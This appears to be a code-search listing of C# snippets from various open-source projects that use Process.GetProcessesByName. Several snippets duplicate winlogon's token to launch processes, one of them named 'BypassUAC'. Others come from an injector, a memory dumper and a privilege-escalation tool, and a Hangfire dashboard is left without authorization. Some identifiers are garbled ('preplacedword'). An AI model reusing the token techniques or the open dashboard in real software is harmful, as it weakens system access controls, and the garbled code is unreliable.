            var random = new Random();
            var serverName = "Test server #" + random.Next(1, 1000);
            var randomCheckInterval = TimeSpan.FromMilliseconds(random.Next(300, 2000));
            var monitors = Process.GetProcessesByName("chrome")
                .Select(x => new ProcessMonitor(TimeSpan.FromMilliseconds(random.Next(300, 2000)), x))
                .Append(new ProcessMonitor(randomCheckInterval))
                .ToArray();

            app.UseHangfireServer(new BackgroundJobServerOptions
            {
                ServerName = serverName,
                ServerCheckInterval = TimeSpan.FromSeconds(5),
                ServerTimeout = TimeSpan.FromSeconds(15),
                HeartbeatInterval = TimeSpan.FromSeconds(3),
                WorkerCount = 1
            }, monitors);

            app.UseHangfireDashboard("", new DashboardOptions { Authorization = new IDashboardAuthorizationFilter[0] });
            RecurringJob.AddOrUpdate(() => Alloc(), Cron.Daily(), TimeZoneInfo.Utc);
            RecurringJob.AddOrUpdate(() => CpuKill(75), Cron.Daily(), TimeZoneInfo.Utc);
            RecurringJob.AddOrUpdate(() => GC.Collect(2), Cron.Daily(), TimeZoneInfo.Utc);
            RecurringJob.AddOrUpdate(() => AggregateTest(), Cron.Daily(), TimeZoneInfo.Utc);
        }

19 Source : ProcessEngine.cs
with GNU General Public License v3.0
from aiportal

public static int CreateProcessAsAdmin(int sessionId, string filename, string arugments)
		{
			IntPtr hToken = IntPtr.Zero;
			try
			{
				Process process = Array.Find(Process.GetProcessesByName("winlogon"), p => p.SessionId == sessionId);
				if (process != null)
				{
					IntPtr hProcess = OpenProcess(MAXIMUM_ALLOWED, false, (uint)process.Id);
					process.Close();
					if (hProcess != IntPtr.Zero)
					{
						//Debug.replacedert(hProcess == process.Handle);
						if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE, ref hToken))
							throw new Win32Exception(Marshal.GetLastWin32Error()) { Source = "OpenProcessToken" };

						CloseHandle(hProcess);
					}
					else
						throw new Win32Exception(Marshal.GetLastWin32Error()) { Source = "OpenProcess" };
				}
				else
					TraceLogger.Instance.WriteLineWarning("Process winlogon not find at sessionId: " + sessionId);
			}
			catch (Exception ex) { TraceLogger.Instance.WriteException(ex); }

			int processId = 0;
			try
			{
				if (hToken != IntPtr.Zero)
				{
					IntPtr hUserTokenDup = IntPtr.Zero;
					SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
					sa.Length = Marshal.SizeOf(sa);

					if (DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, ref sa, (int)SECURITY_IMPERSONATION_LEVEL.SecurityIdentification, (int)TOKEN_TYPE.TokenPrimary, ref hUserTokenDup))
					{
						STARTUPINFO si = new STARTUPINFO();
						si.cb = (int)Marshal.SizeOf(si);
						si.lpDesktop = @"winsta0\default";

						PROCESS_INFORMATION pi;
						string cmdLine = string.Format("{0} {1}", filename, arugments);
						bool ret = CreateProcessAsUser(hUserTokenDup,			// client's access token
														null,                   // file to execute
														cmdLine,				// command line
														ref sa,                 // pointer to process SECURITY_ATTRIBUTES
														ref sa,                 // pointer to thread SECURITY_ATTRIBUTES
														false,                  // handles are not inheritable
														0,						// creation flags
														IntPtr.Zero,            // pointer to new environment block 
														null,                   // name of current directory 
														ref si,                 // pointer to STARTUPINFO structure
														out pi					// receives information about new process
														);
						CloseHandle(hUserTokenDup);
						if (ret)
							processId = (int)pi.dwProcessId;
						else
							throw new Win32Exception(Marshal.GetLastWin32Error()) { Source = "CreateProcessAsUser" };
					}
					else
						throw new Win32Exception(Marshal.GetLastWin32Error()) { Source = "DuplicateTokenEx" };

					CloseHandle(hToken);
				}
			}
			catch (Exception ex) { TraceLogger.Instance.WriteException(ex); }
			return processId;
		}

19 Source : RecordServiceTasks.cs
with GNU General Public License v3.0
from aiportal

private Process[] GetRcordingProcesses()
		{
			List<Process> rcdProcesses = new List<Process>();
			foreach (var p in Process.GetProcessesByName("rcda"))
			{
				try
				{
					if (Path.GetDirectoryName(p.MainModule.FileName) == Application.StartupPath)
						rcdProcesses.Add(p);
					else
						p.Dispose();
				}
				catch (Exception ex) { TraceLogger.Instance.WriteException(ex); }
			}
			return rcdProcesses.ToArray();
		}

19 Source : SessionMonitor.cs
with GNU General Public License v3.0
from aiportal

private Process[] GetRcordingProcesses()
		{
			List<Process> rcdProcesses = new List<Process>();
			foreach (var p in Process.GetProcessesByName("rcda"))
			{
				try
				{
					if (Path.GetDirectoryName(p.MainModule.FileName) == Application.StartupPath)
						rcdProcesses.Add(p);
				}
				catch (Exception ex) { TraceLogger.Instance.WriteException(ex); }
			}
			return rcdProcesses.ToArray();
		}

19 Source : RecordService.cs
with GNU General Public License v3.0
from aiportal

protected override void OnShutdown()
		{
			try
			{
				Array.ForEach(Process.GetProcessesByName("rcda"), p => p.Kill());
			}
			catch (Exception ex) { TraceLogger.Instance.WriteException(ex); }
		}

19 Source : ApplicationLoader.cs
with GNU General Public License v3.0
from aiportal

public static bool StartProcessAndBypreplacedUAC(String applicationName, out PROCESS_INFORMATION procInfo)
        {
            uint winlogonPid = 0;
            IntPtr hUserTokenDup = IntPtr.Zero, hPToken = IntPtr.Zero, hProcess = IntPtr.Zero;            
            procInfo = new PROCESS_INFORMATION();

            // obtain the currently active session id; every logged on user in the system has a unique session id
            uint dwSessionId = WTSGetActiveConsoleSessionId();

            // obtain the process id of the winlogon process that is running within the currently active session
            Process[] processes = Process.GetProcessesByName("winlogon");
            foreach (Process p in processes)
            {
                if ((uint)p.SessionId == dwSessionId)
                {
                    winlogonPid = (uint)p.Id;
                }
            }

            // obtain a handle to the winlogon process
            hProcess = OpenProcess(MAXIMUM_ALLOWED, false, winlogonPid);

            // obtain a handle to the access token of the winlogon process
            if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE, ref hPToken))
            {
                CloseHandle(hProcess);
                return false;
            }

            // Security attibute structure used in DuplicateTokenEx and CreateProcessAsUser
            // I would prefer to not have to use a security attribute variable and to just 
            // simply preplaced null and inherit (by default) the security attributes
            // of the existing token. However, in C# structures are value types and therefore
            // cannot be replacedigned the null value.
            SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
            sa.Length = Marshal.SizeOf(sa);

            // copy the access token of the winlogon process; the newly created token will be a primary token
            if (!DuplicateTokenEx(hPToken, MAXIMUM_ALLOWED, ref sa, (int)SECURITY_IMPERSONATION_LEVEL.SecurityIdentification, (int)TOKEN_TYPE.TokenPrimary, ref hUserTokenDup))
            {
                CloseHandle(hProcess);
                CloseHandle(hPToken);
                return false;
            }

            // By default CreateProcessAsUser creates a process on a non-interactive window station, meaning
            // the window station has a desktop that is invisible and the process is incapable of receiving
            // user input. To remedy this we set the lpDesktop parameter to indicate we want to enable user 
            // interaction with the new process.
            STARTUPINFO si = new STARTUPINFO();
            si.cb = (int)Marshal.SizeOf(si);
            si.lpDesktop = @"winsta0\default"; // interactive window station parameter; basically this indicates that the process created can display a GUI on the desktop

            // flags that specify the priority and creation method of the process
            int dwCreationFlags = NORMAL_PRIORITY_CLreplaced | CREATE_NEW_CONSOLE;

            // create a new process in the current user's logon session
            bool result = CreateProcessAsUser(hUserTokenDup,        // client's access token
                                            null,                   // file to execute
                                            applicationName,        // command line
                                            ref sa,                 // pointer to process SECURITY_ATTRIBUTES
                                            ref sa,                 // pointer to thread SECURITY_ATTRIBUTES
                                            false,                  // handles are not inheritable
                                            dwCreationFlags,        // creation flags
                                            IntPtr.Zero,            // pointer to new environment block 
                                            null,                   // name of current directory 
                                            ref si,                 // pointer to STARTUPINFO structure
                                            out procInfo            // receives information about new process
                                            );

            // invalidate the handles
            CloseHandle(hProcess);
            CloseHandle(hPToken);
            CloseHandle(hUserTokenDup);

            return result; // return the result
        }

19 Source : ProcessEngine.cs
with GNU General Public License v3.0
from aiportal

public static int CreateProcessAsAdmin(int sessionId, string filename, string arugments)
		{
			IntPtr hToken = IntPtr.Zero;
			try
			{
				Process process = Array.Find(Process.GetProcessesByName("winlogon"), p => p.SessionId == sessionId);
				if (process != null)
				{
					IntPtr hProcess = OpenProcess(MAXIMUM_ALLOWED, false, (uint)process.Id);
					process.Close();
					if (hProcess != IntPtr.Zero)
					{
						//Debug.replacedert(hProcess == process.Handle);
						if (!OpenProcessToken(hProcess, TOKEN_DUPLICATE, ref hToken))
							throw new Win32Exception(Marshal.GetLastWin32Error()) { Source = "OpenProcessToken" };

						CloseHandle(hProcess);
					}
					else
						throw new Win32Exception(Marshal.GetLastWin32Error()) { Source = "OpenProcess" };
				}
				else
					TraceLog.WriteLineWarning("Process winlogon not find at sessionId: " + sessionId);
			}
			catch (Exception ex) { TraceLog.WriteException(ex); }

			int processId = 0;
			try
			{
				if (hToken != IntPtr.Zero)
				{
					IntPtr hUserTokenDup = IntPtr.Zero;
					SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
					sa.Length = Marshal.SizeOf(sa);

					if (DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, ref sa, (int)SECURITY_IMPERSONATION_LEVEL.SecurityIdentification, (int)TOKEN_TYPE.TokenPrimary, ref hUserTokenDup))
					{
						STARTUPINFO si = new STARTUPINFO();
						si.cb = (int)Marshal.SizeOf(si);
						si.lpDesktop = @"winsta0\default";

						PROCESS_INFORMATION pi;
						string cmdLine = string.Format("{0} {1}", filename, arugments);
						bool ret = CreateProcessAsUser(hUserTokenDup,			// client's access token
														null,                   // file to execute
														cmdLine,				// command line
														ref sa,                 // pointer to process SECURITY_ATTRIBUTES
														ref sa,                 // pointer to thread SECURITY_ATTRIBUTES
														false,                  // handles are not inheritable
														0,						// creation flags
														IntPtr.Zero,            // pointer to new environment block 
														null,                   // name of current directory 
														ref si,                 // pointer to STARTUPINFO structure
														out pi					// receives information about new process
														);
						CloseHandle(hUserTokenDup);
						if (ret)
							processId = (int)pi.dwProcessId;
						else
							throw new Win32Exception(Marshal.GetLastWin32Error()) { Source = "CreateProcessAsUser" };
					}
					else
						throw new Win32Exception(Marshal.GetLastWin32Error()) { Source = "DuplicateTokenEx" };

					CloseHandle(hToken);
				}
			}
			catch (Exception ex) { TraceLog.WriteException(ex); }
			return processId;
		}

19 Source : Program.cs
with GNU General Public License v3.0
from aiportal

private static void Uninstall(string[] args)
		{
			try
			{
				// check admin preplacedword.
				//string pwd = args.Length > 1 ? args[1] : null;
				//if (bfbd.Common.Encryption.Encrypt(pwd) == bfbd.UltraRecord.Global.Config.AdminPreplacedword)
				{
					// uninstall.
					new bfbd.UltraRecord.Client.ServiceInstaller().Uninstall(args);

					// kill agents.
					try { foreach (var p in System.Diagnostics.Process.GetProcessesByName("rcda")) p.Kill(); }
					catch (Exception) { }

					//try
					//{
					//    Directory.Delete(bfbd.UltraRecord.Client.LocalStorage.DataPath, true);
					//    Directory.Delete(bfbd.UltraRecord.Core.CacheManager.CachePath, true);
					//}
					//catch (Exception ex) { TraceLogger.Instance.WriteException(ex); }
				}
				//else
				//MessageBox.Show(null, "Incorrect preplacedword.", "Terminal Camera");
			}
			catch (Exception ex)
			{
				MessageBox.Show(ex.Message + ex.InnerException == null ? "" : Environment.NewLine + ex.InnerException.Message);
				throw;
			}
		}

19 Source : RecordServiceTasks.cs
with GNU General Public License v3.0
from aiportal

private int[] GetRecordingSessions()
		{
			List<int> sessions = new List<int>();
			string dir = AppDomain.CurrentDomain.BaseDirectory;
			foreach (var p in Process.GetProcessesByName("rcda"))
			{
				Call.Execute(() =>
				{
					if (Path.GetDirectoryName(p.MainModule.FileName) == dir)
						sessions.Add(p.SessionId);
				});
				p.Dispose();
			}
			return sessions.ToArray();
		}

19 Source : Injector.cs
with MIT License
from Akaion

private static Process GetProcess(string processName)
        {
            try
            {
                return Process.GetProcessesByName(processName)[0];
            }

            catch (IndexOutOfRangeException)
            {
                throw new ArgumentException($"No process with the name {processName} is currently running");
            }
        }

19 Source : MemoryManager.cs
with MIT License
from Akaion

private SafeProcessHandle OpenProcessHandle(string processName)
        {
            try
            {
                return Process.GetProcessesByName(processName)[0].SafeHandle;
            }

            catch (IndexOutOfRangeException)
            {
                throw new ArgumentException($"No process with the name {processName} is currently running");
            }
        }

19 Source : MainProgram.cs
with MIT License
from AlbertMN

[PermissionSet(SecurityAction.Demand, Name = "FullTrust")]
        [STAThread]
        static void Main(string[] args) {
            Console.WriteLine("Log location; " + logFilePath);
            CheckSettings();

            var config = new NLog.Config.LoggingConfiguration();
            var logfile = new NLog.Targets.FileTarget("logfile") { FileName = logFilePath };
            var logconsole = new NLog.Targets.ConsoleTarget("logconsole");
            config.AddRule(LogLevel.Info, LogLevel.Fatal, logconsole);
            config.AddRule(LogLevel.Debug, LogLevel.Fatal, logfile);
            NLog.LogManager.Configuration = config;

            void ActualMain() {
                AppDomain.CurrentDomain.UnhandledException += new UnhandledExceptionEventHandler(CurrentDomain_UnhandledException);

                //Upgrade settings
                if (Properties.Settings.Default.UpdateSettings) {
                    /* Copy old setting-files in case the Evidence type and Evidence Hash has changed (which it does sometimes) - easier than creating a whole new settings system */
                    try {
                        Configuration accConfiguration = ConfigurationManager.OpenExeConfiguration(ConfigurationUserLevel.PerUserRoamingAndLocal);
                        string currentFolder = new DirectoryInfo(accConfiguration.FilePath).Parent.Parent.FullName;
                        string[] directories = Directory.GetDirectories(new DirectoryInfo(currentFolder).Parent.FullName);

                        foreach (string dir in directories) {
                            if (dir != currentFolder.ToString()) {
                                var directoriesInDir = Directory.GetDirectories(dir);
                                foreach (string childDir in directoriesInDir) {
                                    string checkPath = Path.Combine(currentFolder, Path.GetFileName(childDir));
                                    if (!Directory.Exists(checkPath)) {
                                        string checkFile = Path.Combine(childDir, "user.config");
                                        if (File.Exists(checkFile)) {
                                            bool xmlHasError = false;
                                            try {
                                                XmlDoreplacedent xml = new XmlDoreplacedent();
                                                xml.Load(checkFile);

                                                xml.Validate(null);
                                            } catch {
                                                xmlHasError = true;
                                                DoDebug("XML doreplacedent validation failed (is invalid): " + checkFile);
                                            }

                                            if (!xmlHasError) {
                                                Directory.CreateDirectory(checkPath);
                                                File.Copy(checkFile, Path.Combine(checkPath, "user.config"), true);
                                            }
                                        }
                                    }
                                }
                            }
                        }
                    } catch (Exception e) {
                        Console.WriteLine("Error getting settings from older versions of ACC; " + e.Message);
                    }
                    /* End "copy settings" */

                    try {
                        Properties.Settings.Default.Upgrade();
                        Properties.Settings.Default.UpdateSettings = false;
                        Properties.Settings.Default.Save();
                    } catch {
                        DoDebug("Failed to upgrade from old settings file.");
                    }

                    Console.WriteLine("Upgraded settings to match last version");
                }

                if (Properties.Settings.Default.LastUpdated == DateTime.MinValue) {
                    Properties.Settings.Default.LastUpdated = DateTime.Now;
                }

                //Create action mod path
                if (!Directory.Exists(actionModsPath)) {
                    Directory.CreateDirectory(actionModsPath);
                }

                //Translator
                string tempDir = Path.Combine(currentLocation, "Translations");
                if (Directory.Exists(tempDir)) {
                    Translator.translationFolder = Path.Combine(currentLocation, "Translations");
                    Translator.languagesArray = Translator.GetLanguages();
                } else {
                    MessageBox.Show("Missing the translations folder. Reinstall the software to fix this issue.", messageBoxreplacedle);
                }

                string lang = Properties.Settings.Default.ActiveLanguage;
                if (Array.Exists(Translator.languagesArray, element => element == lang)) {
                    DoDebug("ACC running with language \"" + lang + "\"");

                    Translator.SetLanguage(lang);
                } else {
                    DoDebug("Invalid language chosen (" + lang + ")");

                    Properties.Settings.Default.ActiveLanguage = "English";
                    Translator.SetLanguage("English");
                }
                //End translator
                sysIcon = new SysTrayIcon();

                Properties.Settings.Default.TimesOpened += 1;
                Properties.Settings.Default.Save();

                SetupDataFolder();
                if (File.Exists(logFilePath)) {
                    try {
                        File.WriteAllText(logFilePath, string.Empty);
                    } catch {
                        // Don't let this being DENIED crash the software
                        Console.WriteLine("Failed to empty the log");
                    }
                } else {
                    Console.WriteLine("Trying to create log");
                    CreateLogFile();
                }

                //Check if software already runs, if so kill this instance
                var otherACCs = Process.GetProcessesByName(Path.GetFileNameWithoutExtension(currentLocationFull));
                if (otherACCs.Length > 1) {
                    //Try kill the _other_ process instead
                    foreach (Process p in otherACCs) {
                        if (p.Id != Process.GetCurrentProcess().Id) {
                            try {
                                p.Kill();
                                DoDebug("Other ACC instance was running. Killed it.");
                            } catch {
                                DoDebug("Could not kill other process of ACC; access denied");
                            }
                        }
                    }
                }

                Application.EnableVisualStyles();

                DoDebug("[ACC begun (v" + softwareVersion + ")]");

                if (Properties.Settings.Default.CheckForUpdates) {
                    if (HasInternet()) {
                        new Thread(() => {
                            new SoftwareUpdater().Check();
                        }).Start();
                    } else {
                        DoDebug("Couldn't check for new update as PC does not have access to the internet");
                    }
                }

                //On console close: hide NotifyIcon
                Application.ApplicationExit += new EventHandler(OnApplicationExit);
                handler = new ConsoleEventDelegate(ConsoleEventCallback);
                SetConsoleCtrlHandler(handler, true);

                //Create shortcut folder if doesn't exist
                if (!Directory.Exists(shortcutLocation)) {
                    Directory.CreateDirectory(shortcutLocation);
                }
                if (!File.Exists(Path.Combine(shortcutLocation, @"example.txt"))) {
                    //Create example-file
                    try {
                        using (StreamWriter sw = File.CreateText(Path.Combine(shortcutLocation, @"example.txt"))) {
                            sw.WriteLine("This is an example file.");
                            sw.WriteLine("If you haven't already, make your replacedistant open this file!");
                        }
                    } catch {
                        DoDebug("Could not create or write to example file");
                    }
                }

                //Delete all old action files
                if (Directory.Exists(CheckPath())) {
                    DoDebug("Deleting all files in action folder");
                    foreach (string file in Directory.GetFiles(CheckPath(), "*." + Properties.Settings.Default.ActionFileExtension)) {
                        int timeout = 0;

                        if (File.Exists(file)) {
                            while (ActionChecker.FileInUse(file) && timeout < 5) {
                                timeout++;
                                Thread.Sleep(500);
                            }
                            if (timeout >= 5) {
                                DoDebug("Failed to delete file at " + file + " as file appears to be in use (and has been for 2.5 seconds)");
                            } else {
                                try {
                                    File.Delete(file);
                                } catch (Exception e) {
                                    DoDebug("Failed to delete file at " + file + "; " + e.Message);
                                }
                            }
                        }
                    }
                    DoDebug("Old action files removed - moving on...");
                }

                //SetupListener();
                watcher = new FileSystemWatcher() {
                    Path = CheckPath(),
                    NotifyFilter = NotifyFilters.LastAccess | NotifyFilters.LastWrite
                                        | NotifyFilters.FileName | NotifyFilters.DirectoryName,
                    Filter = "*." + Properties.Settings.Default.ActionFileExtension,
                    EnableRaisingEvents = true
                };
                watcher.Changed += new FileSystemEventHandler(new ActionChecker().FileFound);
                watcher.Created += new FileSystemEventHandler(new ActionChecker().FileFound);
                watcher.Renamed += new RenamedEventHandler(new ActionChecker().FileFound);
                watcher.Deleted += new FileSystemEventHandler(new ActionChecker().FileFound);
                watcher.Error += delegate { DoDebug("Something wen't wrong"); };

                DoDebug("\n[" + messageBoxreplacedle + "] Initiated. \nListening in: \"" + CheckPath() + "\" for \"." + Properties.Settings.Default.ActionFileExtension + "\" extensions");

                sysIcon.TrayIcon.Icon = Properties.Resources.ACC_icon_light;

                RegistryKey key = Registry.CurrentUser.OpenSubKey("Software", true);
                if (Registry.GetValue(key.Name + @"\replacedistantComputerControl", "FirstTime", null) == null) {
                    SetStartup(true);

                    key.CreateSubKey("replacedistantComputerControl");
                    key = key.OpenSubKey("replacedistantComputerControl", true);
                    key.SetValue("FirstTime", false);

                    ShowGettingStarted();

                    DoDebug("Starting setup guide (first time opening ACC - wuhu!)");
                } else {
                    if (!Properties.Settings.Default.HasCompletedTutorial) {
                        ShowGettingStarted();
                        DoDebug("Didn't finish setup guide last time, opening again");
                    }
                }
                SetRegKey("ActionFolder", CheckPath());
                SetRegKey("ActionExtension", Properties.Settings.Default.ActionFileExtension);

                testActionWindow = new TestActionWindow();

                //If newly updated
                if (Properties.Settings.Default.LastKnownVersion != softwareVersion) {
                    //Up(or down)-grade, display version notes
                    DoDebug("ACC has been updated");

                    if (Properties.Settings.Default.LastKnownVersion != "" && new System.Version(Properties.Settings.Default.LastKnownVersion) < new System.Version("1.4.3")) {
                        //Had issues before; fixed now
                        DoDebug("Upgraded to 1.4.3, fixed startup - now starting with Windows");

                        try {
                            RegistryKey rk = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
                            rk.DeleteValue(appName, false);
                        } catch {
                            DoDebug("Failed to remove old start with win run");
                        }

                        SetStartup(true);
                    } else {
                        if (ACCStartsWithWindows()) {
                            SetStartup(true);
                        }
                    }

                    Properties.Settings.Default.LastUpdated = DateTime.Now;
                    if (gettingStarted != null) {
                        DoDebug("'AboutVersion' window awaits, as 'Getting Started' is showing");
                        aboutVersionAwaiting = true;
                    } else {
                        Properties.Settings.Default.LastKnownVersion = softwareVersion;
                        new NewVersion().Show();
                    }
                    Properties.Settings.Default.Save();
                }

                //Check if software starts with Windows
                if (!ACCStartsWithWindows())
                    sysIcon.AddOpenOnStartupMenu();

                /* 'Evalufied' user feedback implementation */
                if ((DateTime.Now - Properties.Settings.Default.LastUpdated).TotalDays >= 7 && Properties.Settings.Default.TimesOpened >= 7
                    && gettingStarted == null
                    && !Properties.Settings.Default.HasPromptedFeedback) {
                    //User has had the software/update for at least 7 days, and has opened the software more than 7 times - time to ask for feedback
                    //(also the "getting started" window is not showing)
                    if (HasInternet()) {
                        try {
                            WebRequest request = WebRequest.Create("https://evalufied.dk/");
                            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
                            if (response == null || response.StatusCode != HttpStatusCode.OK) {
                                DoDebug("'Evalufied' is down - won't show faulty feedback window");
                            } else {
                                DoDebug("Showing 'User Feedback' window");
                                Properties.Settings.Default.HasPromptedFeedback = true;
                                Properties.Settings.Default.Save();
                                new UserFeedback().Show();
                            }
                        } catch {
                            DoDebug("Failed to check for 'Evalufied'-availability");
                        }
                    } else {
                        DoDebug("No internet connection, not showing user feedback window");
                    }
                }

                //Action mods implementation
                ActionMods.CheckMods();
                TaskSchedulerSetup();

                hreplacedtarted = true;
                SystemEvents.SessionSwitch += new SessionSwitchEventHandler(SystemEvents_SessionSwitch); //On wake up from sleep

                Application.Run();
            }

            if (sentryToken != "super_secret") {
                //Tracking issues with Sentry.IO - not forked from GitHub (official version)
                bool sentryOK = false;
                try {
                    if (Properties.Settings.Default.UID != "") {
                        Properties.Settings.Default.UID = Guid.NewGuid().ToString();
                        Properties.Settings.Default.Save();
                    }

                    if (Properties.Settings.Default.UID != "") {
                        SentrySdk.ConfigureScope(scope => {
                            scope.User = new Sentry.Protocol.User {
                                Id = Properties.Settings.Default.UID
                            };
                        });
                    }

                    using (SentrySdk.Init(sentryToken)) {
                        sentryOK = true;
                    }
                } catch {
                    //Sentry failed. Error sentry's side or invalid key - don't let this stop the app from running
                    DoDebug("Sentry initiation failed");
                    ActualMain();
                }

                if (sentryOK) {
                    try {
                        using (SentrySdk.Init(sentryToken)) {
                            DoDebug("Sentry initiated");
                            ActualMain();
                        }
                    } catch {
                        ActualMain();
                    }
                }
            } else {
                //Code is (most likely) forked - skip issue tracking
                ActualMain();
            }
        }

19 Source : ProcessExtensions.cs
with MIT License
from AlexanderPro

public static bool ExistProcessWithSameNameAndDesktop(this Process currentProcess)
        {
            foreach (Process process in Process.GetProcessesByName(currentProcess.ProcessName))
            {
                if (currentProcess.Id != process.Id)
                {
                    var processThreadId = process.GetMainThreadId();
                    var currentProcessThreadId = currentProcess.GetMainThreadId();
                    var processDesktop = NativeMethods.GetThreadDesktop(processThreadId);
                    var currentProcessDesktop = NativeMethods.GetThreadDesktop(currentProcessThreadId);
                    if (currentProcessDesktop == processDesktop) return true;
                }
            }
            return false;
        }

19 Source : PuppeteerEngine.cs
with MIT License
from AlexCSDev

private void KillChromeIfRunning()
        {
            Process[] processList = Process.GetProcessesByName("chrome");
            if (processList.Length > 0)
            {
                _logger.Debug($"Found {processList.Length} chrome processes (not sure which one yet)");

                processList = processList.Where(x =>
                        x.MainModule != null && x.MainModule.FileName.Contains(AppDomain.CurrentDomain.BaseDirectory))
                    .ToArray();
                if (processList.Length > 0)
                {
                    _logger.Debug($"{processList.Length} chrome processes are in patreondownloader's folder");
                    _logger.Warn("Running PatreonDownloader's Chrome detected. Attempting to close it...");

                    bool failed = false;
                    foreach (Process process in processList)
                    {
                        _logger.Debug($"Attempting to kill PID {process.Id}");
                        try
                        {
                            process.Kill();
                        }
                        catch (Exception ex)
                        {
                            failed = true;
                            _logger.Error($"Error while closing chrome: {ex}");
                        }
                    }

                    if (failed)
                    {
                        _logger.Error(
                            "Unable to close some or all PatreonDownloader's Chrome instances. Please close them manually via process manager if you encounter any problems running this application.");
                    }
                    else
                    {
                        _logger.Info("Successfully killed all PatreonDownloader's Chrome instances.");
                    }
                }
            }
        }

19 Source : ProjectInstaller.cs
with MIT License
from alexis-

private void StopAgent()
    {
      var runningAgents = Process.GetProcessesByName("BitShelter.Agent"); // There should be only one

      foreach (var p in runningAgents)
      {
        try
        {
          p.Kill();
        }
        catch (Exception)
        {
        }
      }
    }

19 Source : ProcessManager.cs
with Apache License 2.0
from AlexWan

public void CheckStateEngines(List<OsEngine> engines)
        {
            var allNeedProcesses = Process.GetProcessesByName("OsEngine");

            foreach (var osEngine in engines)
            {
                var needProc = allNeedProcesses.FirstOrDefault(p => p.MainModule?.FileName == osEngine.Path);
                if (needProc == null)
                {
                    if (osEngine.State != State.Off)
                    {
                        osEngine.State = State.Off;
                    }
                }
                else if (needProc.Responding)
                {
                    if (osEngine.State != State.Active)
                    {
                        osEngine.State = State.Active;
                    }
                }
                else
                {
                    if (osEngine.State != State.NotAsk)
                    {
                        osEngine.State = State.NotAsk;
                    }
                }
            }
        }

19 Source : ProcessManager.cs
with Apache License 2.0
from AlexWan

public int GetProcessIdByPath(string path)
        {
            var allNeedProcesses = Process.GetProcessesByName("OsEngine");
            var needProc = allNeedProcesses.FirstOrDefault(p => p.MainModule?.FileName == path);

            if (needProc != null)
            {
                return needProc.Id;
            }
            return 0;
        }

19 Source : ProcessManager.cs
with Apache License 2.0
from AlexWan

public int GetProcessById(int id)
        {
            var allNeedProcesses = Process.GetProcessesByName("OsEngine");
            var needProc = allNeedProcesses.FirstOrDefault(p => p.Id == id);

            if (needProc != null)
            {
                return needProc.Id;
            }
            return 0;
        }

19 Source : Program.cs
with MIT License
from Alexx999

static void Main(string[] args)
        {
            if (args.Length != 3 && args.Length != 4)
            {
                Console.WriteLine("Wrong argument count.\nUsage:\ndumper.exe <debugged process id or name> <memory_start_addr> <memory_length> (-unprotect)");
                return;
            }

            if (!TryParse(args[1], out var address))
            {
                Console.WriteLine($"Bad address value {args[1]}");
                return;
            }

            if (!TryParse(args[2], out var length))
            {
                Console.WriteLine($"Bad length value {args[2]}");
                return;
            }

            var unprotect = args.Length > 3 && args[3] == "-unprotect";

            if (!int.TryParse(args[0], out var processId))
            {
                var processName = args[0];
                var process = Process.GetProcessesByName(processName);
                if (process.Length == 0)
                {
                    Console.WriteLine($"Process {processName} not found");
                    return;
                }
                if (process.Length > 1)
                {
                    Console.WriteLine($"Found more than one instance of process with name {processName}");
                    return;
                }
                processId = process.Single().Id;
            }

            var rights = ProcessAccessFlags.VirtualMemoryRead;
            if (unprotect)
            {
                rights |= ProcessAccessFlags.SuspendResume | ProcessAccessFlags.QueryInformation | ProcessAccessFlags.VirtualMemoryOperation;
            }

            using (var process = OpenProcess(rights, false, processId))
            {
                if (process.IsInvalid)
                {
                    Console.WriteLine($"Opening process {processId} failed with error {Marshal.GetLastWin32Error()}");
                    return;
                }

                var outFileName = $"{args[0]}-{args[1]}-{args[2]}";

                outFileName = GetNextFreeName(outFileName, ".dmp");

                Console.WriteLine($"Saving contents of process {processId} to {outFileName}");

                List<MemBlock> unprotected = null;

                if (unprotect)
                {
                    NtSuspendProcess(process.DangerousGetHandle());

                    try
                    {
                        Console.WriteLine("Unprotecting");
                        unprotected = Unprotect(process, new IntPtr(address), new IntPtr(length));
                    }
                    catch (Exception e)
                    {
                        Console.WriteLine($"Unprotecting failed with exception {e}");
                        return;
                    }
                }

                try
                {
                    Dump(process, outFileName, new IntPtr(address), new IntPtr(length), unprotect);
                    Console.WriteLine("Done");
                }
                catch (Exception e)
                {
                    Console.WriteLine($"Writing file failed with exception {e}");
                }


                if (unprotect)
                {
                    Protect(process, unprotected);
                    NtResumeProcess(process.DangerousGetHandle());
                }
            }
        }

19 Source : SmallScripts.cs
with MIT License
from Alkl58

public static void KillInstances()
        {
            try
            {
                foreach (var process in Process.GetProcessesByName("aomenc"))
                {
                    process.Kill();
                }
                foreach (var process in Process.GetProcessesByName("ffmpeg"))
                {
                    process.Kill();
                }
            }
            catch { }
        }

19 Source : PulseLogPrivesc.cs
with Apache License 2.0
from AlmondOffSec

public static bool IsPulseClientRunning()
        {
            Process[] processes = Process.GetProcessesByName(PulseProcessName);
            if (processes.Length == 0)
                return false;
            else
                return true;
        }

19 Source : PulseLogPrivesc.cs
with Apache License 2.0
from AlmondOffSec

public static bool KillPulseClient()
        {
            Process[] processes = Process.GetProcessesByName(PulseProcessName);
            foreach (Process p in processes) {
                try {
                    Log("Stopping client...");
                    p.Kill();
                } catch {
                    return false;
                }
            }
            return true;
        }

19 Source : OverlayForm.cs
with GNU General Public License v2.0
from AmanoTooko

private static IntPtr GetGameWindowHandle()
    {
      lock (OverlayForm.xivProcLocker)
      {
        try
        {
          if (OverlayForm.xivProc != null && OverlayForm.xivProc.HasExited)
            OverlayForm.xivProc = (Process) null;
          if (OverlayForm.xivProc == null && DateTime.Now - OverlayForm.lastTry > OverlayForm.tryInterval)
          {
            OverlayForm.xivProc = ((IEnumerable<Process>) Process.GetProcessesByName("ffxiv")).FirstOrDefault<Process>();
            if (OverlayForm.xivProc == null)
              OverlayForm.xivProc = ((IEnumerable<Process>) Process.GetProcessesByName("ffxiv_dx11")).FirstOrDefault<Process>();
            OverlayForm.lastTry = DateTime.Now;
          }
          if (OverlayForm.xivProc != null)
            return OverlayForm.xivProc.MainWindowHandle;
        }
        catch (Win32Exception ex)
        {
        }
        return IntPtr.Zero;
      }
